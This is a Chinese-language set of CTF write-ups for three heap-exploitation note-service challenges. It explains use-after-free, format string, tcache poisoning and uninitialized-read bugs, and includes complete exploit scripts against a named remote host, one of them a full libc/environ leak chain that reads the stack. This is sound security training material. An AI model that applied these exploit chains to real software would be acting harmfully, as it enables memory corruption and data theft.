Fast is need

题目考点

UAF,tcache poisoning,改全局note元数据读flagbuf。

题目只给了源码,是一个很标准的菜单式note:

struct note { size_t size; char *data; int used; } notes[MAX];
char flagbuf[256]; size_t flaglen=0;

程序启动时会先调用load_flag(),把/opt/chal/flag.txt读到全局变量flagbuf里。也就是说这题不一定要getshell,只要能让show()打印flagbuf即可。

漏洞点

主要逻辑不复杂,create按用户给的大小malloc,edit检查used和长度,show打印内容,delete释放内容。

两个地方有问题:

void show(){
    printf("idx: ");
    int idx = read_int();
    if(idx<0||idx>=MAX){ puts("bad"); return;}
    if(!notes[idx].data){ puts("no data"); return;}
    printf(notes[idx].data);
    putchar('\n');
}

这里有格式串,notes[idx].data直接当format string传给printf。

另外delete只清了used,没有清data:

void delete(){
    printf("idx: ");
    int idx = read_int();
    if(idx<0||idx>=MAX){ puts("bad"); return;}
    if(!notes[idx].data){ puts("no note"); return;}
    free(notes[idx].data);
    notes[idx].used = 0;
    puts("deleted");
}

释放后旧指针还在,所以可以show一个已经free的chunk。更关键的是,可以制造两个note指向同一个chunk:先释放note0,再创建note1拿回同一块内存,然后再删note0。这样note1仍然是used=1,但是它的data已经进了tcache,edit(1)就能改这个freed chunk里的tcache next。

远程环境判断

先用格式串扫了一下,远程能看到固定代码地址:

0x400ab0 ... 0x4010d9 ... 0x401130 ... 0x400fb5 ... 0x400820

所以远程是非PIE,后面可以直接用.bss地址。释放一个刚进tcache的chunk再show,输出为空,也符合tcache next = NULL的状态。

题目没有给ELF,我按源码在接近的老Ubuntu环境里复现了一下符号布局,关键符号是:

00000000006020e0 B notes
00000000006021a0 B flagbuf

远程打的时候也验证了这两个地址可用:notes=0x6020e0,flagbuf=0x6021a0。

struct note大小是0x18,字段偏移为:

note.size  +0x0
note.data  +0x8
note.used  +0x10

因此notes[5].data地址为:

0x6020e0 + 5 * 0x18 + 0x8 = 0x602160

如果能让一次malloc(0x40)返回0x602160,后续写入的数据就会覆盖notes[5].data和notes[5].used。

利用思路

这里走tcache poisoning。目标不是改hook,而是直接改全局note数组:

notes[5].data = flagbuf
notes[5].used = 1

然后show(5)会执行printf(notes[5].data)。flag里没有格式串字符时,效果就是直接打印flag。

具体堆操作如下:

  1. 先创建note5,大小给0x51。这样notes[5].size正好位于目标指针前8字节,像一个可用的chunk size。
  2. 创建note0,大小0x40。
  3. 删除note0,chunk进入tcache[0x50]。
  4. 创建note1,拿回刚才note0的chunk。此时note0和note1的data指向同一块内存。
  5. 再删除note0,note1仍然used=1,但它指向的是freed chunk。
  6. edit(1)改freed chunk开头的tcache next,写成&notes[5].data。
  7. 创建note2,先把真实chunk取走。
  8. 创建note3,此时malloc返回&notes[5].data,输入内容覆盖note5元数据。
  9. show(5)打印flagbuf。

这里远程是pre-safe-linking的tcache,next直接写目标用户指针即可,不需要异或heap地址。

EXP

核心部分如下:

from pwn import *

HOST = "13.206.57.188"
PORT = 10044

notes = 0x6020e0
flagbuf = 0x6021a0

def create(io, idx, size, data=b""):
    io.recvuntil(b"> ")
    io.sendline(b"1")
    io.recvuntil(b"idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"bytes:\n")
    io.send(data.ljust(size, b"\x00"))
    io.recvuntil(b"ok\n")

def edit(io, idx, data):
    io.recvuntil(b"> ")
    io.sendline(b"2")
    io.recvuntil(b"idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"len: ")
    io.sendline(str(len(data)).encode())
    io.send(data)
    io.recvuntil(b"ok\n")

def delete(io, idx):
    io.recvuntil(b"> ")
    io.sendline(b"4")
    io.recvuntil(b"idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"deleted\n")

def show(io, idx):
    io.recvuntil(b"> ")
    io.sendline(b"3")
    io.recvuntil(b"idx: ")
    io.sendline(str(idx).encode())
    return io.recvuntil(b"\n1) create", drop=True)

io = remote(HOST, PORT)

create(io, 5, 0x51, b"S" * 8)

create(io, 0, 0x40, b"A" * 8)
delete(io, 0)
create(io, 1, 0x40, b"B" * 8)
delete(io, 0)

target = notes + 5 * 0x18 + 0x8
edit(io, 1, p64(target))

create(io, 2, 0x40, b"C" * 8)
create(io, 3, 0x40, p64(flagbuf) + p32(1))

print(show(io, 5))

实际脚本里加了少量候选地址fallback,不过打通用到的就是上面这条链。

Flag

athena{OfsxnkDlFj67c4Ev}

Heap Smash v1

题目没有附件,只给了远程:

nc 13.206.57.188 10022

题目描述已经把方向说得很明白:服务启动时会把flag读到堆上,然后free掉。后面的note功能可以申请、写、读、删。目标就是重新申请到这块被free过的内存,再利用未初始化读把flag带出来。

功能

连上以后只有一个很简单的命令循环:

Heap Smash v1 server
cmd:

一开始按描述里的格式试了下,发现A 64这种不行,会返回Invalid。继续试参数后可以确定实际分配格式是:

A <idx> <size>
R <idx>
D <idx>
E

比如:

A 0 64
R 0

会创建0号note,然后读出64字节。不过这个size下读出来全是\x00,没有拿到flag。

思路

这题关键在malloc的size class。

flag启动时被放到堆上,随后free。free进tcache后,这块用户区开头会被allocator写入链表指针和key,所以就算拿回同一块chunk,最前面的两个qword通常也已经不是原始flag内容了。

不过后面的内容还在。如果程序重新malloc同一个size class,又没有清空新note内存,R就会直接把旧数据读出来。

所以这里要做的事情很短:

  1. 找到能拿回flag所在chunk的申请大小。
  2. 用这个大小申请note。
  3. 直接读note内容。

调size

按size扫了一下,A 0 1到A 0 72基本都只读到0。到73开始出现明显变化:

A 0 73
R 0

读出的内容结构大概是:

[16 bytes tcache metadata] athena{Tvqi1VFPpL0axzLj} ...

实际一次远程回显里,R 0后面是:

bb 3b 95 55 05 00 00 00 00 00 00 00 00 00 00 00
61 74 68 65 6e 61 7b 54 76 71 69 31 56 46 50 70
4c 30 61 78 7a 4c 6a 7d ...

前0x10字节是tcache在free后写进去的元数据,后面转成ASCII就是:

athena{Tvqi1VFPpL0axzLj}

73到88都能打出来也符合glibc对齐后的size class表现;再大到89就换到下一档,读出来又变成0了。

EXP

import re
import socket


HOST = "13.206.57.188"
PORT = 10022
SIZE = 73


def recv_until(sock, marker=b"cmd:\n"):
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data


with socket.create_connection((HOST, PORT), timeout=5) as sock:
    sock.settimeout(5)
    data = recv_until(sock)

    sock.sendall(f"A 0 {SIZE}\n".encode())
    data += recv_until(sock)

    sock.sendall(b"R 0\n")
    data += recv_until(sock)

flag = re.search(rb"athena\{[^}\n]+\}", data).group(0)
print(flag.decode())

运行结果:

athena{Tvqi1VFPpL0axzLj}

Flag

athena{Tvqi1VFPpL0axzLj}

Classy who?

题目给的是一个note服务源码,远程地址:

nc 13.206.57.188 10052

题面说得也比较直白:flag会被读到栈上,要用服务先leak libc,再leak stack,最后从栈内存里把flag读出来。

程序逻辑

核心结构很简单:

struct note {
    char *data;
    size_t size;
};

struct note *notes[MAX_NOTES];

每个note先分配一个struct note,再分配一块data。菜单支持C/W/R/D/E:

  • C idx size:创建note
  • W idx off len:往note的数据区写len字节
  • R idx:读出note,最多1024字节
  • D idx:删除note

flag在main里这样加载:

char local_flag[256];
memset(local_flag, 0, sizeof(local_flag));
load_flag(local_flag, sizeof(local_flag));

也就是说flag确实留在main的栈帧里。只要后面能拿到一个栈地址,再往附近读,就能扫到它。

漏洞点

两个地方组合起来出问题。

第一个是delete_note:

void delete_note(int idx) {
    ...
    free(notes[idx]->data);
    free(notes[idx]);
    // notes[idx] remains pointing to the freed memory.
    puts("Deleted");
}

释放以后notes[idx]没有清空,留下dangling pointer。

第二个是write_note:

void write_note(int idx, size_t off, size_t len) {
    ...
    // Vulnerability: no bounds check on offset+len
    memcpy(notes[idx]->data + off, buf, len);
    free(buf);
    puts("Wrote");
}

这里没有检查off + len <= notes[idx]->size,可以越界写。不过这题更舒服的用法不是直接硬写堆,而是用UAF把一个已经释放的struct note重新分配成另一个note的data,这样就能伪造旧note的data和size字段。

构造任意读

struct note大小是0x10,申请data大小为0x10时,两个用户块都会走0x20大小的tcache bin。

操作顺序:

C 0 0x10
C 2 0x30
D 0
D 2
C 1 0x10

释放顺序比较关键。D 0会释放data0和struct0,然后D 2会释放data2和struct2。之后C 1 0x10时,struct1和data1会从0x20 tcache里拿块,其中data1刚好可以拿到之前的struct0。

此时状态变成:

notes[0] -> 已释放的struct0
notes[1]->data -> 同一块struct0

所以对note1写16字节,其实是在改note0的结构体:

def set_fake_note(addr, size=1024):
    write_note(1, 0, p64(addr) + p64(size))

def leak(addr, n=0x80):
    set_fake_note(addr, n)
    return read_note(0, n)

R 0会按伪造后的notes[0]->data去读,于是得到一个AAR primitive。read_note最多输出1024字节,所以每次最多读0x400,这个限制够用了。

远程的坑

本地如果随手用-no-pie编译,可以直接读puts@GOT,算libc,然后读environ。但远程不是这个布局。我第一次按本地GOT去读,读出来的是prompt文本片段:

puts@libc = 0x656d20657669470a

这个值明显是ASCII,不是libc地址。说明远程程序基址不能直接按本地源码编译出来的ELF来算,大概率是PIE或编译参数不同。后面就换成不依赖程序基址的路线:先从堆本身和allocator元数据泄漏。

利用safe-linking恢复堆地址

完成上面的UAF重叠以后,R 1能读到data1所在块的内容,也就是旧的struct0。这块刚从tcache里取出来,开头还残留safe-linking编码过的next指针。

这里的关系是:

encoded = (struct0 >> 12) ^ data0
data0 = struct0 + 0x20

因为struct0和data0是连续申请的两个0x20用户块,所以可以从这个等式把struct0恢复出来。exp里枚举低12位再迭代求固定点:

def recover_overlapped_struct(encoded_next):
    candidates = set()
    for low in range(0, 0x1000, 0x10):
        data0 = (encoded_next & ~0xfff) | low
        for _ in range(12):
            data0 = encoded_next ^ ((data0 - 0x20) >> 12)
        struct0 = data0 - 0x20
        if (((struct0 >> 12) ^ data0) == encoded_next):
            candidates.add(struct0)
    return candidates.pop()

远程一次结果:

encoded tcache next = 0x55c99543ac53
overlapped struct0 = 0x55ccc98f3480

有了struct0,后面连续分配的大块地址也能按堆布局推出。

泄漏libc

接下来申请多个0x500大小的note。每个note还是先分配0x20的结构体,再分配0x510大小的数据块。根据前面的struct0,第一个大块data地址可以按布局算出来:

first_large_data = struct0 + 0xA0
large_data[idx] = first_large_data + (idx - 3) * (0x510 + 0x20)

这里0xA0来自前面已经消耗掉的几个0x20 chunk以及新的note结构体分配;每个大note之间相隔0x20 + 0x510。

然后释放7个同尺寸大块填对应tcache,再释放第8个大块,让它进unsorted bin。注意后面还保留一个已分配的大块,避免目标块直接和top chunk合并。

for idx in range(3, 12):
    create(idx, 0x500)

for idx in range(3, 10):
    delete(idx)
delete(10)

unsorted = leak(large_data[10], 0x20)
fd = u64(unsorted[:8])
bk = u64(unsorted[8:16])

远程拿到:

unsorted fd = 0x55ccc98f5430
unsorted bk = 0x7fe40b303b20
libc pointer candidate = 0x7fe40b303b20

fd这次落在堆附近,bk是libc附近的指针,所以取bk作为libc leak。

找environ

题目没给远程libc文件,所以不能直接写死environ偏移。这里用AAR先往下找ELF头,确定libc base;远程这次是:

libc base = 0x7fe40b100000

拿到base以后,直接读libc的ELF结构,解析PT_DYNAMIC、DT_HASH、DT_SYMTAB、DT_STRTAB,用SysV hash找environ符号。这样不需要本地libc文件,也不依赖程序的link_map。

核心解析逻辑:

def resolve_dynsym_sysv(base, symbol):
    eh = leak(base, 0x40)
    e_phoff = u64(eh[0x20:0x28])
    e_phentsize = u16(eh[0x36:0x38])
    e_phnum = u16(eh[0x38:0x3A])
    phdrs = leak(base + e_phoff, e_phentsize * e_phnum)

    for i in range(e_phnum):
        ph = phdrs[i * e_phentsize:(i + 1) * e_phentsize]
        if u32(ph[0:4]) == 2:
            dyn_addr = base + u64(ph[0x10:0x18])
            dyn_size = u64(ph[0x28:0x30])
            break

    # 读取DT_HASH/DT_SYMTAB/DT_STRTAB后按SysV hash链查symbol

远程解析结果:

environ symbol = 0x7fe40b30ad58
environ = 0x7ffe1a0edbc8

environ里存的是栈上的环境变量指针,离main栈帧不远。题目把flag放在main里的local_flag[256],所以从这个栈地址向下扫即可。

for delta in range(0, 0x40000, 0x400):
    addr = stack_ptr - delta
    chunk = leak(addr, 1024)
    m = re.search(rb"athena\{[^}\n\r\x00]{0,220}\}", chunk)
    if m:
        print(m.group(0))
        break

远程最终扫到:

flag at 0x7ffe1a0ed850: b'athena{Hzq7thBYeGiwwXua}'

EXP

完整exp如下:

from pwn import *
import os
import re


context.log_level = os.environ.get("LOG", "info")
BIN = os.environ.get("BIN", "./autosolve/artifacts/ctf_local")
LARGE = 0x500
LARGE_CHUNK = 0x510


def start():
    host = os.environ.get("HOST")
    port = int(os.environ.get("PORT", "1337"))
    if host:
        return remote(host, port)
    return process([os.path.abspath(BIN)], cwd=os.path.dirname(os.path.abspath(BIN)))


io = start()


def prompt():
    io.recvuntil(b"Give me your command:\n")


def command(line):
    prompt()
    io.sendline(line)


def create(idx, size):
    command(f"C {idx} {size}".encode())
    io.recvline()


def delete(idx):
    command(f"D {idx}".encode())
    io.recvline()


def write_note(idx, off, data):
    command(f"W {idx} {off} {len(data)}".encode())
    io.send(data)
    io.recvline()


def read_note(idx, size):
    command(f"R {idx}".encode())
    data = io.recvn(size)
    io.recvn(1)
    return data


def recover_overlapped_struct(encoded_next):
    candidates = set()
    for low in range(0, 0x1000, 0x10):
        data0 = (encoded_next & ~0xfff) | low
        for _ in range(12):
            data0 = encoded_next ^ ((data0 - 0x20) >> 12)
        struct0 = data0 - 0x20
        if struct0 > 0 and (data0 & 0xf) == 0:
            if (((struct0 >> 12) ^ data0) == encoded_next):
                candidates.add(struct0)
    if len(candidates) != 1:
        raise RuntimeError(f"ambiguous heap recovery: {[hex(x) for x in candidates]}")
    return candidates.pop()


def set_fake_note(addr, size=1024):
    write_note(1, 0, p64(addr) + p64(size))


def leak(addr, n=0x80):
    n = min(max(n, 1), 1024)
    set_fake_note(addr, n)
    return read_note(0, n)


def leak_qword(addr):
    return u64(leak(addr, 8).ljust(8, b"\x00"))


def leak_u32(addr):
    return u32(leak(addr, 4).ljust(4, b"\x00"))


def read_cstr(addr, limit=0x100):
    out = b""
    while len(out) < limit:
        chunk = leak(addr + len(out), min(0x40, limit - len(out)))
        end = chunk.find(b"\x00")
        if end != -1:
            return out + chunk[:end]
        out += chunk
    return out


def elf_hash(name):
    h = 0
    for c in name:
        h = (h << 4) + c
        g = h & 0xF0000000
        if g:
            h ^= g >> 24
        h &= ~g
    return h & 0xFFFFFFFF


def find_elf_base(ptr, max_back=0x500000):
    for off in (0x203B20, 0x1ECB20, 0x1EBBE0, 0x1D3C60, 0x1D2C60):
        candidate = (ptr - off) & ~0xFFF
        if leak(candidate, 4) == b"\x7fELF":
            return candidate
    base = ptr & ~0xFFF
    stop = base - max_back
    while base >= stop:
        if leak(base, 4) == b"\x7fELF":
            return base
        base -= 0x1000
    return None


def normalize_ptr(base, val):
    if val >= base:
        return val
    return base + val


def resolve_dynsym_sysv(base, symbol):
    eh = leak(base, 0x40)
    e_phoff = u64(eh[0x20:0x28])
    e_phentsize = u16(eh[0x36:0x38])
    e_phnum = u16(eh[0x38:0x3A])
    phdrs = leak(base + e_phoff, e_phentsize * e_phnum)

    dyn_addr = None
    dyn_size = None
    for i in range(e_phnum):
        ph = phdrs[i * e_phentsize:(i + 1) * e_phentsize]
        if u32(ph[0:4]) == 2:
            dyn_addr = base + u64(ph[0x10:0x18])
            dyn_size = u64(ph[0x28:0x30])
            break
    if dyn_addr is None:
        return None

    tags = {}
    for off in range(0, dyn_size, 0x10):
        ent = leak(dyn_addr + off, 0x10)
        tag = u64(ent[:8])
        val = u64(ent[8:16])
        if tag == 0:
            break
        tags[tag] = val

    dt_hash = normalize_ptr(base, tags.get(4, 0))
    symtab = normalize_ptr(base, tags.get(6, 0))
    strtab = normalize_ptr(base, tags.get(5, 0))
    syment = tags.get(11, 24)

    nbucket = leak_u32(dt_hash)
    bucket = leak_u32(dt_hash + 8 + 4 * (elf_hash(symbol) % nbucket))
    chain_base = dt_hash + 8 + 4 * nbucket

    idx = bucket
    while idx:
        sym = leak(symtab + idx * syment, syment)
        name_off = u32(sym[:4])
        name = read_cstr(strtab + name_off, 0x80)
        if name == symbol:
            return normalize_ptr(base, u64(sym[8:16]))
        idx = leak_u32(chain_base + 4 * idx)
    return None


create(0, 0x10)
create(2, 0x30)
delete(0)
delete(2)
create(1, 0x10)

encoded = u64(read_note(1, 0x10)[:8])
struct0 = recover_overlapped_struct(encoded)

large_data = {}
first_large_data = struct0 + 0xA0
for idx in range(3, 12):
    create(idx, LARGE)
    large_data[idx] = first_large_data + (idx - 3) * (LARGE_CHUNK + 0x20)

for idx in range(3, 10):
    delete(idx)
delete(10)

unsorted = leak(large_data[10], 0x20)
fd = u64(unsorted[:8])
bk = u64(unsorted[8:16])

heap_page = struct0 & ~0xfff
libc_candidates = [
    x for x in (fd, bk)
    if x > 0x100000000000 and not (heap_page - 0x2000000 <= x <= heap_page + 0x2000000)
]
libc_ptr = libc_candidates[0]

base = find_elf_base(libc_ptr)
environ_addr = resolve_dynsym_sysv(base, b"environ")
stack_ptr = leak_qword(environ_addr)

for delta in range(0, 0x40000, 0x400):
    addr = stack_ptr - delta
    chunk = leak(addr, 1024)
    m = re.search(rb"athena\{[^}\n\r\x00]{0,220}\}", chunk)
    if m:
        print(m.group(0).decode())
        break

io.close()

运行:

HOST=13.206.57.188 PORT=10052 python3 exploit_remote.py

Flag

athena{Hzq7thBYeGiwwXua}